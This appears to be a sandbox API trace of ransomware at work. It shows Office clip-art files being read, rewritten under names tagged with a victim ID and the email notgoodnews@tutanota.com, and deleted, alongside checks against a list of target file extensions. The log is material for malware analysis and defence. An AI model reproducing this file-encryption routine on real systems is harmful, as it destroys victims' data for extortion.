[0083.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.290] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.290] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0083.290] GetLastError () returned 0x0 [0083.290] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0083.292] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x9c60, lpOverlapped=0x0) returned 1 [0083.294] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.294] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.294] SetEndOfFile (hFile=0x350) returned 1 [0083.294] CloseHandle (hObject=0x350) returned 1 [0083.294] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.294] SetEndOfFile (hFile=0x384) returned 1 [0083.295] CloseHandle (hObject=0x384) returned 1 [0083.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0083.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.296] lstrlenW (lpString=".doc") returned 4 [0083.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.296] lstrlenW (lpString=".docx") returned 5 [0083.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.296] lstrlenW (lpString=".pdf") returned 4 [0083.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.296] lstrlenW (lpString=".xls") returned 4 [0083.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.296] lstrlenW (lpString=".xlsx") returned 5 [0083.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.296] lstrlenW (lpString=".ppt") returned 4 [0083.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.296] lstrlenW (lpString=".zip") returned 4 [0083.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.296] lstrlenW (lpString=".rar") returned 4 [0083.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.296] lstrlenW (lpString=".bz2") returned 4 [0083.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.296] lstrlenW (lpString=".7z") returned 3 [0083.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.297] lstrlenW (lpString=".dbf") returned 4 [0083.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.297] lstrlenW (lpString=".1cd") returned 4 [0083.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.297] lstrlenW (lpString=".jpg") returned 4 [0083.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.297] lstrlenW (lpString=".doc") returned 4 [0083.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString=".docx") returned 5 [0083.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.297] lstrlenW (lpString=".pdf") returned 4 [0083.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString=".xls") returned 4 [0083.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.297] lstrlenW (lpString=".xlsx") returned 5 [0083.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.297] lstrlenW (lpString=".ppt") returned 4 [0083.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.297] lstrlenW (lpString=".zip") returned 4 [0083.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.297] lstrlenW (lpString=".rar") returned 4 [0083.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString=".bz2") returned 4 [0083.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString=".7z") returned 3 [0083.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.297] lstrlenW (lpString=".dbf") returned 4 [0083.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.297] lstrlenW (lpString=".1cd") returned 4 [0083.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0083.298] lstrlenW (lpString=".jpg") returned 4 [0083.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.298] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.298] lstrlenW (lpString="DD01015_.WMF") returned 12 [0083.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.298] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2226) returned 1 [0083.298] CloseHandle (hObject=0x384) returned 1 [0083.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x220 [0083.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.299] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.299] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0083.299] GetLastError () returned 0x0 [0083.299] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x8b2, lpOverlapped=0x0) returned 1 [0083.300] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0083.302] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.302] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.302] SetEndOfFile (hFile=0x350) returned 1 [0083.302] CloseHandle (hObject=0x350) returned 1 [0083.302] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.302] SetEndOfFile (hFile=0x384) returned 1 [0083.303] CloseHandle (hObject=0x384) returned 1 [0083.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0083.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.304] lstrlenW (lpString=".doc") returned 4 [0083.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.304] lstrlenW (lpString=".docx") returned 5 [0083.304] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.304] lstrlenW (lpString=".pdf") returned 4 [0083.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.304] lstrlenW (lpString=".xls") returned 4 [0083.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.304] lstrlenW (lpString=".xlsx") returned 5 [0083.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.304] lstrlenW (lpString=".ppt") returned 4 [0083.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.304] lstrlenW (lpString=".zip") returned 4 [0083.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.304] lstrlenW (lpString=".rar") returned 4 [0083.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.304] lstrlenW (lpString=".bz2") returned 4 [0083.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.304] lstrlenW (lpString=".7z") returned 3 [0083.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.304] lstrlenW (lpString=".dbf") returned 4 [0083.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.304] lstrlenW (lpString=".1cd") returned 4 [0083.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.304] lstrlenW (lpString=".jpg") returned 4 [0083.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.305] lstrlenW (lpString=".doc") returned 4 [0083.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.305] lstrlenW (lpString=".docx") returned 5 [0083.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.305] lstrlenW (lpString=".pdf") returned 4 [0083.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.305] lstrlenW (lpString=".xls") returned 4 [0083.305] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.305] lstrlenW (lpString=".xlsx") returned 5 [0083.305] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.305] lstrlenW (lpString=".ppt") returned 4 [0083.305] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.305] lstrlenW (lpString=".zip") returned 4 [0083.305] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.305] lstrlenW (lpString=".rar") returned 4 [0083.305] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.305] lstrlenW (lpString=".bz2") returned 4 [0083.305] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.305] lstrlenW (lpString=".7z") returned 3 [0083.305] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.305] lstrlenW (lpString=".dbf") returned 4 [0083.305] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.305] lstrlenW (lpString=".1cd") returned 4 [0083.305] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0083.305] lstrlenW (lpString=".jpg") returned 4 [0083.305] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.306] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.306] lstrlenW (lpString="DD01039_.WMF") returned 12 [0083.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.306] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=14820) returned 1 [0083.306] CloseHandle (hObject=0x384) returned 1 [0083.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0083.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.306] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.307] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0083.307] GetLastError () returned 0x0 [0083.307] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x39e4, lpOverlapped=0x0) returned 1 [0083.309] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x39f0, lpOverlapped=0x0) returned 1 [0083.310] ReadFile (in: hFile=0x384, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.310] WriteFile (in: hFile=0x350, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.310] SetEndOfFile (hFile=0x350) returned 1 [0083.310] CloseHandle (hObject=0x350) returned 1 [0083.310] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.311] SetEndOfFile (hFile=0x384) returned 1 [0083.311] CloseHandle (hObject=0x384) returned 1 [0083.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0083.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.312] lstrlenW (lpString=".doc") returned 4 [0083.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.312] lstrlenW (lpString=".docx") returned 5 [0083.312] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.312] lstrlenW (lpString=".pdf") returned 4 [0083.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.312] lstrlenW (lpString=".xls") returned 4 [0083.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.312] lstrlenW (lpString=".xlsx") returned 5 [0083.312] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.312] lstrlenW (lpString=".ppt") returned 4 [0083.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.312] lstrlenW (lpString=".zip") returned 4 [0083.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.312] lstrlenW (lpString=".rar") returned 4 [0083.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.312] lstrlenW (lpString=".bz2") returned 4 [0083.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString=".7z") returned 3 [0083.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.313] lstrlenW (lpString=".dbf") returned 4 [0083.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.313] lstrlenW (lpString=".1cd") returned 4 [0083.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.313] lstrlenW (lpString=".jpg") returned 4 [0083.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.313] lstrlenW (lpString=".doc") returned 4 [0083.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString=".docx") returned 5 [0083.313] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.313] lstrlenW (lpString=".pdf") returned 4 [0083.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString=".xls") returned 4 [0083.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.313] lstrlenW (lpString=".xlsx") returned 5 [0083.313] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.313] lstrlenW (lpString=".ppt") returned 4 [0083.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.313] lstrlenW (lpString=".zip") returned 4 [0083.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.313] lstrlenW (lpString=".rar") returned 4 [0083.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString=".bz2") returned 4 [0083.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.313] lstrlenW (lpString=".7z") returned 3 [0083.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.314] lstrlenW (lpString=".dbf") returned 4 [0083.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.314] lstrlenW (lpString=".1cd") returned 4 [0083.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0083.314] lstrlenW (lpString=".jpg") returned 4 [0083.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.314] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.314] lstrlenW (lpString="DD01138_.WMF") returned 12 [0083.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0083.314] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3692) returned 1 [0083.315] CloseHandle (hObject=0x384) returned 1 [0083.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0083.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program 